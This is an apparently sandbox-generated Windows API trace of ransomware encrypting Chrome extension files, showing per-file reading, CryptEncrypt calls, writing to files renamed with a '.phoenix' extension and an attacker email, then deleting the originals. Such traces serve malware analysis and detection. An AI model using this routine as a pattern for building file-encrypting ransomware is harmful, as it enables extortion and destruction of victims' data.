	[0256.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\messages.json")) returned 0x20
	[0256.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.763] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0256.763] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.763] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.763] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0256.763] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0256.763] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.763] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xce, lpOverlapped=0x0) returned 1
	[0256.764] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xd0, dwBufLen=0xd0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xd0) returned 1
	[0256.764] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xd0, lpOverlapped=0x0) returned 1
	[0256.765] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151300) returned 1
	[0256.765] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.765] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0256.765] CryptDestroyKey (hKey=0x151300) returned 1
	[0256.765] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0256.765] CryptDestroyKey (hKey=0x151500) returned 1
	[0256.765] CloseHandle (hObject=0x2b4) returned 1
	[0256.765] CloseHandle (hObject=0x2d8) returned 1
	[0256.766] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\messages.json")) returned 1
	[0256.766] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0256.766] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.954] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=352) returned 1
	[0256.954] CloseHandle (hObject=0x310) returned 1
	[0256.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json")) returned 0x20
	[0256.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.954] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.954] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.954] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.954] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0257.786] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0257.786] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0257.786] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x160, lpOverlapped=0x0) returned 1
	[0257.788] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x170, dwBufLen=0x170 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x170) returned 1
	[0257.788] WriteFile (in: hFile=0x258, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x170, lpOverlapped=0x0) returned 1
	[0257.789] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151200) returned 1
	[0257.789] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0257.789] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0257.789] CryptDestroyKey (hKey=0x151200) returned 1
	[0257.789] WriteFile (in: hFile=0x258, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0257.958] CryptDestroyKey (hKey=0x151380) returned 1
	[0257.958] CloseHandle (hObject=0x310) returned 1
	[0257.958] CloseHandle (hObject=0x258) returned 1
	[0257.959] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json")) returned 1
	[0257.960] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0257.960] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0257.961] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=6707) returned 1
	[0257.961] CloseHandle (hObject=0x258) returned 1
	[0257.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png")) returned 0x20
	[0257.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.961] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0257.961] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0257.961] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0257.961] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0257.962] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151300) returned 1
	[0257.962] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0257.962] ReadFile (in: hFile=0x258, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1a33, lpOverlapped=0x0) returned 1
	[0258.052] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1a40, dwBufLen=0x1a40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1a40) returned 1
	[0258.052] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1a40, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1a40, lpOverlapped=0x0) returned 1
	[0258.054] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1517c0) returned 1
	[0258.054] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0258.054] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x30, dwBufLen=0x30 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x30) returned 1
	[0258.054] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0258.054] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe2, lpOverlapped=0x0) returned 1
	[0258.054] CryptDestroyKey (hKey=0x151300) returned 1
	[0258.054] CloseHandle (hObject=0x258) returned 1
	[0258.054] CloseHandle (hObject=0x310) returned 1
	[0258.055] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png")) returned 1
	[0258.056] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0258.056] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0258.057] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=278) returned 1
	[0258.057] CloseHandle (hObject=0x310) returned 1
	[0258.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json")) returned 0x20
	[0258.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.058] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0258.058] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0258.058] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0258.058] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0258.058] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0258.059] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0258.059] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x116, lpOverlapped=0x0) returned 1
	[0258.060] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120, dwBufLen=0x120 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120) returned 1
	[0258.060] WriteFile (in: hFile=0x258, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x120, lpOverlapped=0x0) returned 1
	[0258.060] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0258.061] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0258.061] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0258.061] CryptDestroyKey (hKey=0x151540) returned 1
	[0258.061] WriteFile (in: hFile=0x258, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0258.130] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0258.130] CloseHandle (hObject=0x310) returned 1
	[0258.130] CloseHandle (hObject=0x258) returned 1
	[0258.130] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json")) returned 1
	[0258.140] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0258.140] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0258.140] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=329) returned 1
	[0258.140] CloseHandle (hObject=0x258) returned 1
	[0258.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json")) returned 0x20
	[0258.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.141] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0258.141] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0258.142] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0258.142] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0258.142] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151100) returned 1
	[0258.142] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0258.142] ReadFile (in: hFile=0x258, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x149, lpOverlapped=0x0) returned 1
	[0258.143] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x150, dwBufLen=0x150 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x150) returned 1
